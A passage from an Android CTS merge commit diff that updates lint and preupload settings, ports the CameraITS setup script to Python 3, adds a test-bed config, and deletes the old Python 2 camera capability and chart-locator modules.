Merge "Don't require treble & O MR1 in AnnotationTest." am: 7e19616e1f am: 48c5ad6644 am: d77f34b467

Original change: https://android-review.googlesource.com/c/platform/cts/+/1676211

Change-Id: Ic45adab8905f255b8e248e4e7684d711ba2a19d4
diff --git a/.clang-format b/.clang-format
new file mode 100644
index 0000000..03af56d
--- /dev/null
+++ b/.clang-format
@@ -0,0 +1,13 @@
+BasedOnStyle: Google
+
+AccessModifierOffset: -4
+AlignOperands: false
+AllowShortFunctionsOnASingleLine: Inline
+AlwaysBreakBeforeMultilineStrings: false
+ColumnLimit: 100
+CommentPragmas: NOLINT:.*
+ConstructorInitializerIndentWidth: 6
+ContinuationIndentWidth: 8
+IndentWidth: 4
+PenaltyBreakBeforeFirstCallParameter: 100000
+SpacesBeforeTrailingComments: 1
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index 2572b01..baf8a5e 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -6,20 +6,34 @@
 clang_format = --commit ${PREUPLOAD_COMMIT} --style file --extensions c,h,cc,cpp
                hostsidetests
                tests/tests/binder_ndk
+               tests/tests/view/jni
 
 [Hook Scripts]
 checkstyle_hook = ${REPO_ROOT}/prebuilts/checkstyle/checkstyle.py --sha ${PREUPLOAD_COMMIT}
-                  -fw apps/CtsVerifier/src/com/android/cts/verifier/usb/
+                  -fw apps/CtsVerifier/
                       apps/CtsVerifierUSBCompanion/
+                      common/device-side/bedstead/
+                      common/device-side/util/
+                      hostsidetests/car/
+                      hostsidetests/devicepolicy
+                      hostsidetests/dumpsys
+                      hostsidetests/graphics
+                      hostsidetests/inputmethodservice/
+                      hostsidetests/multiuser/
+                      hostsidetests/scopedstorage/
+                      hostsidetests/stagedinstall/
+                      hostsidetests/userspacereboot/
                       libs/
                       tests/app/
                       tests/autofillservice/
                       tests/contentcaptureservice/
+                      tests/inputmethod/
                       tests/tests/animation/
                       tests/tests/carrierapi/
                       tests/tests/content/
                       tests/tests/graphics/
                       tests/tests/hardware/
+                      tests/tests/packageinstaller/atomicinstall/
                       tests/tests/permission2/
                       tests/tests/permission/
                       tests/tests/preference/
@@ -35,12 +49,9 @@
                       tests/tests/uirendering/
                       tests/tests/view/
                       tests/tests/widget/
-                      common/device-side/util/
-                      hostsidetests/car/
-                      hostsidetests/multiuser/
-                      hostsidetests/scopedstorage/
-                      hostsidetests/stagedinstall/
-                      hostsidetests/userspacereboot/
-                      tests/tests/packageinstaller/atomicinstall/
 
 ktlint_hook = ${REPO_ROOT}/prebuilts/ktlint/ktlint.py -f ${PREUPLOAD_FILES}
+
+splits_native_libs_hook = ${REPO_ROOT}/cts/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh
+                          ${PREUPLOAD_FILES}
+
diff --git a/apps/CameraITS/build/envsetup.sh b/apps/CameraITS/build/envsetup.sh
index 6dcdf79..c52e57e 100644
--- a/apps/CameraITS/build/envsetup.sh
+++ b/apps/CameraITS/build/envsetup.sh
@@ -18,6 +18,7 @@
 # is correct).
 
 export CAMERA_ITS_TOP=$PWD
+echo "CAMERA_ITS_TOP=$PWD"
 
 [[ "${BASH_SOURCE[0]}" != "${0}" ]] || \
     { echo ">> Script must be sourced with 'source $0'" >&2; exit 1; }
@@ -28,8 +29,8 @@
 command -v python >/dev/null 2>&1 || \
     echo ">> Require python executable to be in path" >&2
 
-python -V 2>&1 | grep -q "Python 2.7" || \
-    echo ">> Require python 2.7" >&2
+python -V 2>&1 | grep -q "Python 3.*" || \
+    echo ">> Require python version 3" >&2
 
 for M in numpy PIL matplotlib scipy.stats scipy.spatial serial
 do
@@ -44,22 +45,25 @@
         echo ">> Require Python $module module $submodule submodule" >&2
 done
 
-CV2_VER=$(python -c "\
+CV2_VER=$(python -c "
 try:
     import cv2
-    print cv2.__version__
+    print(cv2.__version__)
 except:
-    print \"N/A\"
+    print(\"N/A\")
 ")
 
-echo $CV2_VER | grep -q -e "^2.4" -e "^3.2" || \
-    echo ">> Require python opencv 2.4. or 3.2. Got $CV2_VER" >&2
+echo "$CV2_VER" | grep -q -e "^3.*" -e "^4.*" || \
+    echo ">> Require python opencv version greater than 3 or 4. Got $CV2_VER" >&2
 
-export PYTHONPATH="$PWD/pymodules:$PYTHONPATH"
+export PYTHONPATH="$PWD/utils:$PYTHONPATH"
+export PYTHONPATH="$PWD/tests:$PYTHONPATH"
 
-for M in device objects image caps dng target error
+
+
+for M in sensor_fusion_utils camera_properties_utils capture_request_utils opencv_processing_utils image_processing_utils its_session_utils scene_change_utils target_exposure_utils
 do
-    python "pymodules/its/$M.py" 2>&1 | grep -q "OK" || \
+    python "utils/$M.py" 2>&1 | grep -q "OK" || \
         echo ">> Unit test for $M failed" >&2
 done
 
diff --git a/apps/CameraITS/build/scripts/gpylint_rcfile b/apps/CameraITS/build/scripts/gpylint_rcfile
index b9c16f4..fe9f3d1 100644
--- a/apps/CameraITS/build/scripts/gpylint_rcfile
+++ b/apps/CameraITS/build/scripts/gpylint_rcfile
@@ -13,10 +13,12 @@
 # --enable=similarities". If you want to run only the classes checker, but have
 # no Warning level messages displayed, use"--disable=all --enable=classes
 # --disable=W"
-disable=design,similarities,no-self-use,attribute-defined-outside-init,locally-disabled,star-args,pointless-except,bad-option-value,global-statement,fixme,suppressed-message,useless-suppression, F0401, C6304, C0111
+disable=design,similarities,no-self-use,attribute-defined-outside-init,locally-disabled,star-args,pointless-except,bad-option-value,global-statement,fixme,suppressed-message,useless-suppression, F0401, C6304, C0111, C6115, C6203
 # F0401 ignores import errors since gpylint does not have the python paths
 # C6304 ignore Copyright line errors.
 # C0111 ignore Docstring at top of file.
+# C6115 ignore Raises documentation requirements.
+# C6203 ignore import order
 
 # Enable the message, report, category or checker with the given id(s). You can
 # either give multiple identifier separated by comma (,) or put this option
@@ -224,9 +226,9 @@
 # Regexp for a line that is allowed to be longer than the limit.
 ignore-long-lines=(^\s*(import|from)\s|^__version__\s=\s['"]\$Id:|^\s*(# )?<?https?://\S+>?$)
 
-# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
+# String used as indentation unit. This is usually " " (2 spaces) or "\t" (1
 # tab).
-indent-string='    '
+indent-string='  '
 
 # Maximum number of characters on a single line.
 max-line-length=80
@@ -282,7 +284,7 @@
 
 # Number of spaces of indent required when the last token on the preceding line
 # is an open (, [, or {.
-indent-after-paren=8
+indent-after-paren=4
 
 # Minimum number of spaces between the end of a line and an inline comment.
 min-comment-space=2
@@ -378,14 +380,3 @@
 
 
 [VARIABLES]
-
-# List of additional names supposed to be defined in builtins. Remember that
-# you should avoid to define new builtins when possible.
-additional-builtins=
-
-# A regular expression matching the beginning of the name of dummy variables
-# (i.e. not used).
-dummy-variables-rgx=^\*{0,2}(_$|unused_|dummy_)
-
-# Tells whether we should check for unused import in __init__ files.
-init-import=no
diff --git a/apps/CameraITS/config.yml b/apps/CameraITS/config.yml
new file mode 100644
index 0000000..dd43687
--- /dev/null
+++ b/apps/CameraITS/config.yml
@@ -0,0 +1,49 @@
+# Copyright 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+TestBeds:
+  - Name: TEST_BED_TABLET_SCENES  # Need 'tablet' in name for tablet scenes
+    # Use TEST_BED_MANUAL for manual testing and remove below lines:
+    #     - serial <tablet_id>
+    #       label: tablet
+    # Test configuration for scenes[0:4, 6, _change]
+    Controllers:
+        AndroidDevice:
+          - serial: <device_id>
+            label: dut
+          - serial: <tablet_id>
+            label: tablet
+    TestParams:
+      brightness: 96
+      chart_distance: 31.0
+      debug_mode: "False"  # quotes are needed here
+      chart_loc_arg: ""
+      camera: <camera-id>
+      scene: <scene-name>  # if <scene-name> left as-is runs all scenes
+
+  - Name: TEST_BED_SENSOR_FUSION  # Need 'sensor_fusion' in name for SF tests
+    # Test configuration for sensor_fusion/test_sensor_fusion.py
+    Controllers:
+        AndroidDevice:
+          - serial: <device-id>
+            label: dut
+    TestParams:
+      fps: 30
+      img_size: 640,480
+      test_length: 7
+      debug_mode: "False"  # quotes are needed here
+      chart_distance: 25
+      rotator_cntl: <controller-type>  # can be arduino or canakit
+      rotator_ch: <controller-channel>
+      camera: <camera-id>
diff --git a/apps/CameraITS/pymodules/its/__init__.py b/apps/CameraITS/pymodules/its/__init__.py
deleted file mode 100644
index 59058be..0000000
--- a/apps/CameraITS/pymodules/its/__init__.py
+++ /dev/null
@@ -1,14 +0,0 @@
-# Copyright 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
diff --git a/apps/CameraITS/pymodules/its/caps.py b/apps/CameraITS/pymodules/its/caps.py
deleted file mode 100644
index 9c228d3..0000000
--- a/apps/CameraITS/pymodules/its/caps.py
+++ /dev/null
@@ -1,626 +0,0 @@
-# Copyright 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import sys
-import unittest
-
-import its.objects
-
-# lens facing
-FACING_FRONT = 0
-FACING_BACK = 1
-FACING_EXTERNAL = 2
-
-SKIP_RET_CODE = 101
-
-def skip_unless(cond):
-    """Skips the test if the condition is false.
-
-    If a test is skipped, then it is exited and returns the special code
-    of 101 to the calling shell, which can be used by an external test
-    harness to differentiate a skip from a pass or fail.
-
-    Args:
-        cond: Boolean, which must be true for the test to not skip.
-
-    Returns:
-        Nothing.
-    """
-    if not cond:
-        print "Test skipped"
-        sys.exit(SKIP_RET_CODE)
-
-def full_or_better(props):
-    """Returns whether a device is a FULL or better camera2 device.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.info.supportedHardwareLevel") and \
-            props["android.info.supportedHardwareLevel"] != 2 and \
-            props["android.info.supportedHardwareLevel"] >= 1
-
-def level3(props):
-    """Returns whether a device is a LEVEL3 capability camera2 device.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.info.supportedHardwareLevel") and \
-           props["android.info.supportedHardwareLevel"] == 3
-
-def full(props):
-    """Returns whether a device is a FULL capability camera2 device.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.info.supportedHardwareLevel") and \
-           props["android.info.supportedHardwareLevel"] == 1
-
-def limited(props):
-    """Returns whether a device is a LIMITED capability camera2 device.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.info.supportedHardwareLevel") and \
-           props["android.info.supportedHardwareLevel"] == 0
-
-def legacy(props):
-    """Returns whether a device is a LEGACY capability camera2 device.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.info.supportedHardwareLevel") and \
-           props["android.info.supportedHardwareLevel"] == 2
-
-def distortion_correction(props):
-    """Returns whether a device supports DISTORTION_CORRECTION
-    capabilities.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.lens.distortion") and \
-           props["android.lens.distortion"] is not None
-
-def manual_sensor(props):
-    """Returns whether a device supports MANUAL_SENSOR capabilities.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return    props.has_key("android.request.availableCapabilities") and \
-              1 in props["android.request.availableCapabilities"]
-
-def manual_post_proc(props):
-    """Returns whether a device supports MANUAL_POST_PROCESSING capabilities.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return    props.has_key("android.request.availableCapabilities") and \
-              2 in props["android.request.availableCapabilities"]
-
-def raw(props):
-    """Returns whether a device supports RAW capabilities.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.request.availableCapabilities") and \
-           3 in props["android.request.availableCapabilities"]
-
-def raw16(props):
-    """Returns whether a device supports RAW16 output.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return len(its.objects.get_available_output_sizes("raw", props)) > 0
-
-def raw10(props):
-    """Returns whether a device supports RAW10 output.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return len(its.objects.get_available_output_sizes("raw10", props)) > 0
-
-def raw12(props):
-    """Returns whether a device supports RAW12 output.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return len(its.objects.get_available_output_sizes("raw12", props)) > 0
-
-def raw_output(props):
-    """Returns whether a device supports any of RAW output format.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return raw16(props) or raw10(props) or raw12(props)
-
-def y8(props):
-    """Returns whether a device supports Y8 output.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return len(its.objects.get_available_output_sizes("y8", props)) > 0
-
-def post_raw_sensitivity_boost(props):
-    """Returns whether a device supports post RAW sensitivity boost..
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.control.postRawSensitivityBoostRange") and \
-            props["android.control.postRawSensitivityBoostRange"] != [100, 100]
-
-def sensor_fusion(props):
-    """Returns whether the camera and motion sensor timestamps for the device
-    are in the same time domain and can be compared directly.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.sensor.info.timestampSource") and \
-           props["android.sensor.info.timestampSource"] == 1
-
-def read_3a(props):
-    """Return whether a device supports reading out the following 3A settings:
-        sensitivity
-        exposure time
-        awb gain
-        awb cct
-        focus distance
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    # TODO: check available result keys explicitly
-    return manual_sensor(props) and manual_post_proc(props)
-
-def compute_target_exposure(props):
-    """Return whether a device supports target exposure computation in its.target module.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return manual_sensor(props) and manual_post_proc(props)
-
-def freeform_crop(props):
-    """Returns whether a device supports freefrom cropping.
-
-    Args:
-        props: Camera properties object.
-
-    Return:
-        Boolean.
-    """
-    return props.has_key("android.scaler.croppingType") and \
-           props["android.scaler.croppingType"] == 1
-
-def flash(props):
-    """Returns whether a device supports flash control.
-
-    Args:
-        props: Camera properties object.
-
-    Return:
-        Boolean.
-    """
-    return props.has_key("android.flash.info.available") and \
-           props["android.flash.info.available"] == 1
-
-def per_frame_control(props):
-    """Returns whether a device supports per frame control
-
-    Args:
-        props: Camera properties object.
-
-    Return:
-        Boolean.
-    """
-    return props.has_key("android.sync.maxLatency") and \
-           props["android.sync.maxLatency"] == 0
-
-def ev_compensation(props):
-    """Returns whether a device supports ev compensation
-
-    Args:
-        props: Camera properties object.
-
-    Return:
-        Boolean.
-    """
-    return props.has_key("android.control.aeCompensationRange") and \
-           props["android.control.aeCompensationRange"] != [0, 0]
-
-def ae_lock(props):
-    """Returns whether a device supports AE lock
-
-    Args:
-        props: Camera properties object.
-
-    Return:
-        Boolean.
-    """
-    return props.has_key("android.control.aeLockAvailable") and \
-           props["android.control.aeLockAvailable"] == 1
-
-def awb_lock(props):
-    """Returns whether a device supports AWB lock
-
-    Args:
-        props: Camera properties object.
-
-    Return:
-        Boolean.
-    """
-    return props.has_key("android.control.awbLockAvailable") and \
-           props["android.control.awbLockAvailable"] == 1
-
-def lsc_map(props):
-    """Returns whether a device supports lens shading map output
-
-    Args:
-        props: Camera properties object.
-
-    Return:
-        Boolean.
-    """
-    return props.has_key(
-            "android.statistics.info.availableLensShadingMapModes") and \
-        1 in props["android.statistics.info.availableLensShadingMapModes"]
-
-def lsc_off(props):
-    """Returns whether a device supports disabling lens shading correction
-
-    Args:
-        props: Camera properties object.
-
-    Return:
-        Boolean.
-    """
-    return props.has_key(
-            "android.shading.availableModes") and \
-        0 in props["android.shading.availableModes"]
-
-def yuv_reprocess(props):
-    """Returns whether a device supports YUV reprocessing.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.request.availableCapabilities") and \
-           7 in props["android.request.availableCapabilities"]
-
-def private_reprocess(props):
-    """Returns whether a device supports PRIVATE reprocessing.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.request.availableCapabilities") and \
-           4 in props["android.request.availableCapabilities"]
-
-def noise_reduction_mode(props, mode):
-    """Returns whether a device supports the noise reduction mode.
-
-    Args:
-        props: Camera properties objects.
-        mode: Integer, indicating the noise reduction mode to check for
-              availability.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key(
-            "android.noiseReduction.availableNoiseReductionModes") and mode \
-            in props["android.noiseReduction.availableNoiseReductionModes"];
-
-def edge_mode(props, mode):
-    """Returns whether a device supports the edge mode.
-
-    Args:
-        props: Camera properties objects.
-        mode: Integer, indicating the edge mode to check for availability.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key(
-            "android.edge.availableEdgeModes") and mode \
-            in props["android.edge.availableEdgeModes"];
-
-def tonemap_mode(props, mode):
-    """Returns whether a device supports the tonemap mode.
-
-    Args:
-        props: Camera properties object.
-        mode: Integer, indicating the tonemap mode to check for availability.
-
-    Return:
-        Boolean.
-    """
-    return props.has_key(
-            "android.tonemap.availableToneMapModes") and mode \
-            in props["android.tonemap.availableToneMapModes"];
-
-def lens_calibrated(props):
-    """Returns whether lens position is calibrated or not.
-
-    android.lens.info.focusDistanceCalibration has 3 modes.
-    0: Uncalibrated
-    1: Approximate
-    2: Calibrated
-
-    Args:
-        props: Camera properties objects.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.lens.info.focusDistanceCalibration") and \
-         props["android.lens.info.focusDistanceCalibration"] == 2
-
-
-def lens_approx_calibrated(props):
-    """Returns whether lens position is calibrated or not.
-
-    android.lens.info.focusDistanceCalibration has 3 modes.
-    0: Uncalibrated
-    1: Approximate
-    2: Calibrated
-
-    Args:
-        props: Camera properties objects.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.lens.info.focusDistanceCalibration") and \
-        (props["android.lens.info.focusDistanceCalibration"] == 1 or
-         props["android.lens.info.focusDistanceCalibration"] == 2)
-
-
-def fixed_focus(props):
-    """Returns whether a device is fixed focus.
-
-    props[android.lens.info.minimumFocusDistance] == 0 is fixed focus
-
-    Args:
-        props: Camera properties objects.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.lens.info.minimumFocusDistance") and \
-        props["android.lens.info.minimumFocusDistance"] == 0
-
-def logical_multi_camera(props):
-    """Returns whether a device is a logical multi-camera.
-
-    Args:
-        props: Camera properties object.
-
-    Return:
-        Boolean.
-    """
-    return props.has_key("android.request.availableCapabilities") and \
-           11 in props["android.request.availableCapabilities"]
-
-def logical_multi_camera_physical_ids(props):
-    """Returns a logical multi-camera's underlying physical cameras.
-
-    Args:
-        props: Camera properties object.
-
-    Return:
-        list of physical cameras backing the logical multi-camera.
-    """
-    physicalIdsList = []
-    if logical_multi_camera(props):
-        physicalIdsList = props['camera.characteristics.physicalCamIds'];
-    return physicalIdsList
-
-def mono_camera(props):
-    """Returns whether a device is monochromatic.
-
-    Args:
-        props: Camera properties object.
-
-    Return:
-        Boolean.
-    """
-    return props.has_key("android.request.availableCapabilities") and \
-           12 in props["android.request.availableCapabilities"]
-
-
-def face_detect(props):
-    """Returns whether a device has face detection mode.
-
-    props['android.statistics.info.availableFaceDetectModes'] != 0 is face det
-
-    Args:
-        props: Camera properties objects.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.statistics.info.availableFaceDetectModes") and \
-        props["android.statistics.info.availableFaceDetectModes"] != [0]
-
-
-def debug_mode():
-    """Returns True/False for whether test is run in debug mode.
-
-    Returns:
-        Boolean.
-    """
-    for s in sys.argv[1:]:
-        if s[:6] == "debug=" and s[6:] == "True":
-            return True
-    return False
-
-
-def sync_latency(props):
-    """Returns sync latency in number of frames.
-
-    If undefined, 8 frames.
-
-    Returns:
-        integer number of frames
-    """
-    sync_latency = props['android.sync.maxLatency']
-    if sync_latency < 0:
-        sync_latency = 8
-    return sync_latency
-
-
-def backward_compatible(props):
-    """Returns whether a device supports BACKWARD_COMPATIBLE.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key("android.request.availableCapabilities") and \
-              0 in props["android.request.availableCapabilities"]
-
-
-def sensor_fusion_test_capable(props, cam):
-    """Determine if test_sensor_fusion is run."""
-    return all([
-            its.caps.sensor_fusion(props),
-            its.caps.manual_sensor(props),
-            props["android.lens.facing"] != FACING_EXTERNAL,
-            cam.get_sensors().get("gyro")])
-
-
-def multi_camera_frame_sync_capable(props):
-    """Determine if test_multi_camera_frame_sync is run."""
-    return all([
-            read_3a(props),
-            per_frame_control(props),
-            logical_multi_camera(props),
-            sensor_fusion(props)])
-
-
-def continuous_picture(props):
-    """Returns whether a device supports CONTINUOUS_PICTURE."""
-    return props.has_key('android.control.afAvailableModes') and \
-              4 in props['android.control.afAvailableModes']
-
-
-def af_scene_change(props):
-    """Returns whether a device supports afSceneChange."""
-    return props.has_key('camera.characteristics.resultKeys') and \
-              'android.control.afSceneChange' in props['camera.characteristics.resultKeys']
-
-
-def zoom_ratio_range(props):
-    """Returns whether a device supports zoom capabilities.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        Boolean.
-    """
-    return props.has_key('android.control.zoomRatioRange') and \
-           props['android.control.zoomRatioRange'] is not None
-
-
-def jpeg_quality(props):
-    """Returns whether a device supports JPEG quality."""
-    return props.has_key('camera.characteristics.requestKeys') and \
-              'android.jpeg.quality' in props['camera.characteristics.requestKeys']
-
-
-class __UnitTest(unittest.TestCase):
-    """Run a suite of unit tests on this module.
-    """
-    # TODO: Add more unit tests.
-
-if __name__ == '__main__':
-    unittest.main()
diff --git a/apps/CameraITS/pymodules/its/cv2image.py b/apps/CameraITS/pymodules/its/cv2image.py
deleted file mode 100644
index 09265e9..0000000
--- a/apps/CameraITS/pymodules/its/cv2image.py
+++ /dev/null
@@ -1,457 +0,0 @@
-# Copyright 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import os
-import unittest
-
-import cv2
-import its.caps
-import its.device
-import its.error
-import its.image
-import numpy
-
-CHART_FILE = os.path.join(os.environ['CAMERA_ITS_TOP'], 'pymodules', 'its',
-                          'test_images', 'ISO12233.png')
-CHART_HEIGHT = 13.5  # cm
-CHART_DISTANCE_RFOV = 31.0  # cm
-CHART_DISTANCE_WFOV = 22.0  # cm
-CHART_SCALE_START = 0.65
-CHART_SCALE_STOP = 1.35
-CHART_SCALE_STEP = 0.025
-
-FOV_THRESH_SUPER_TELE = 40
-FOV_THRESH_TELE = 60
-FOV_THRESH_WFOV = 91
-
-SCALE_RFOV_IN_WFOV_BOX = 0.67
-SCALE_TELE_IN_RFOV_BOX = 0.67
-SCALE_TELE_IN_WFOV_BOX = 0.5
-SCALE_SUPER_TELE_IN_RFOV_BOX = 0.5
-
-VGA_HEIGHT = 480
-VGA_WIDTH = 640
-
-
-def calc_chart_scaling(chart_distance, camera_fov):
-    chart_scaling = 1.0
-    camera_fov = float(camera_fov)
-    if (FOV_THRESH_TELE < camera_fov < FOV_THRESH_WFOV and
-                numpy.isclose(chart_distance, CHART_DISTANCE_WFOV, rtol=0.1)):
-        chart_scaling = SCALE_RFOV_IN_WFOV_BOX
-    elif (camera_fov <= FOV_THRESH_TELE and
-          numpy.isclose(chart_distance, CHART_DISTANCE_WFOV, rtol=0.1)):
-        chart_scaling = SCALE_TELE_IN_WFOV_BOX
-    elif (camera_fov <= FOV_THRESH_SUPER_TELE and
-          numpy.isclose(chart_distance, CHART_DISTANCE_RFOV, rtol=0.1)):
-        chart_scaling = SCALE_SUPER_TELE_IN_RFOV_BOX
-    elif (camera_fov <= FOV_THRESH_TELE and
-          numpy.isclose(chart_distance, CHART_DISTANCE_RFOV, rtol=0.1)):
-        chart_scaling = SCALE_TELE_IN_RFOV_BOX
-    return chart_scaling
-
-
-def scale_img(img, scale=1.0):
-    """Scale and image based on a real number scale factor."""
-    dim = (int(img.shape[1]*scale), int(img.shape[0]*scale))
-    return cv2.resize(img.copy(), dim, interpolation=cv2.INTER_AREA)
-
-
-def gray_scale_img(img):
-    """Return gray scale version of image."""
-    if len(img.shape) == 2:
-        img_gray = img.copy()
-    elif len(img.shape) == 3:
-        if img.shape[2] == 1:
-            img_gray = img[:, :, 0].copy()
-        else:
-            img_gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
-    return img_gray
-
-
-class Chart(object):
-    """Definition for chart object.
-
-    Defines PNG reference file, chart size and distance, and scaling range.
-    """
-
-    def __init__(self, chart_file=None, height=None, distance=None,
-                 scale_start=None, scale_stop=None, scale_step=None,
-                 camera_id=None):
-        """Initial constructor for class.
-
-        Args:
-            chart_file:     str; absolute path to png file of chart
-            height:         float; height in cm of displayed chart
-            distance:       float; distance in cm from camera of displayed chart
-            scale_start:    float; start value for scaling for chart search
-            scale_stop:     float; stop value for scaling for chart search
-            scale_step:     float; step value for scaling for chart search
-            camera_id:      int; camera used for extractor
-        """
-        self._file = chart_file or CHART_FILE
-        self._height = height or CHART_HEIGHT
-        self._distance = distance or CHART_DISTANCE_RFOV
-        self._scale_start = scale_start or CHART_SCALE_START
-        self._scale_stop = scale_stop or CHART_SCALE_STOP
-        self._scale_step = scale_step or CHART_SCALE_STEP
-        self.xnorm, self.ynorm, self.wnorm, self.hnorm, self.scale = its.image.chart_located_per_argv()
-        if not self.xnorm:
-            with its.device.ItsSession(camera_id) as cam:
-                props = cam.get_camera_properties()
-                props = cam.override_with_hidden_physical_camera_props(props)
-                if its.caps.read_3a(props):
-                    self.locate(cam, props)
-                else:
-                    print 'Chart locator skipped.'
-                    self._set_scale_factors_to_one()
-
-    def _set_scale_factors_to_one(self):
-        """Set scale factors to 1.0 for skipped tests."""
-        self.wnorm = 1.0
-        self.hnorm = 1.0
-        self.xnorm = 0.0
-        self.ynorm = 0.0
-        self.scale = 1.0
-
-    def _calc_scale_factors(self, cam, props, fmt, s, e, fd):
-        """Take an image with s, e, & fd to find the chart location.
-
-        Args:
-            cam:            An open device session.
-            props:          Properties of cam
-            fmt:            Image format for the capture
-            s:              Sensitivity for the AF request as defined in
-                            android.sensor.sensitivity
-            e:              Exposure time for the AF request as defined in
-                            android.sensor.exposureTime
-            fd:             float; autofocus lens position
-        Returns:
-            template:       numpy array; chart template for locator
-            img_3a:         numpy array; RGB image for chart location
-            scale_factor:   float; scaling factor for chart search
-        """
-        req = its.objects.manual_capture_request(s, e)
-        req['android.lens.focusDistance'] = fd
-        cap_chart = its.image.stationary_lens_cap(cam, req, fmt)
-        img_3a = its.image.convert_capture_to_rgb_image(cap_chart, props)
-        img_3a = its.image.rotate_img_per_argv(img_3a)
-        its.image.write_image(img_3a, 'af_scene.jpg')
-        template = cv2.imread(self._file, cv2.IMREAD_ANYDEPTH)
-        focal_l = cap_chart['metadata']['android.lens.focalLength']
-        pixel_pitch = (props['android.sensor.info.physicalSize']['height'] /
-                       img_3a.shape[0])
-        print ' Chart distance: %.2fcm' % self._distance
-        print ' Chart height: %.2fcm' % self._height
-        print ' Focal length: %.2fmm' % focal_l
-        print ' Pixel pitch: %.2fum' % (pixel_pitch*1E3)
-        print ' Template height: %dpixels' % template.shape[0]
-        chart_pixel_h = self._height * focal_l / (self._distance * pixel_pitch)
-        scale_factor = template.shape[0] / chart_pixel_h
-        print 'Chart/image scale factor = %.2f' % scale_factor
-        return template, img_3a, scale_factor
-
-    def locate(self, cam, props):
-        """Find the chart in the image, and append location to chart object.
-
-        The values appended are:
-            xnorm:          float; [0, 1] left loc of chart in scene
-            ynorm:          float; [0, 1] top loc of chart in scene
-            wnorm:          float; [0, 1] width of chart in scene
-            hnorm:          float; [0, 1] height of chart in scene
-            scale:          float; scale factor to extract chart
-
-        Args:
-            cam:            An open device session
-            props:          Camera properties
-        """
-        if its.caps.read_3a(props):
-            s, e, _, _, fd = cam.do_3a(get_results=True)
-            fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
-            chart, scene, s_factor = self._calc_scale_factors(cam, props, fmt,
-                                                              s, e, fd)
-        else:
-            print 'Chart locator skipped.'
-            self._set_scale_factors_to_one()
-            return
-        scale_start = self._scale_start * s_factor
-        scale_stop = self._scale_stop * s_factor
